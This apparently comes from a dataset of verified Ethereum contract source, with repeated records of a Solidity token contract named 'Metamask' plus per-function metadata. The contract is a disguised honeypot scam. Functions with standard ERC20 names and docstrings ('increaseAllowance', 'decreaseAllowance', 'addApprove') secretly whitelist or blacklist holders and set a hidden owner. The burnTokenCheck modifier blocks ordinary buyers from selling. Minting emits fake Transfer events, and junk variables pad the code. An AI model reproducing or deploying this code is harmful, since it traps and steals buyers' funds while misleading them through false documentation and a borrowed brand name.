* * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
approve
function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 5564, 5738 ] }
1,404
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; }
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 6207, 6537 ] }
1,405
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
increaseAllowance
function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 6941, 7232 ] }
1,406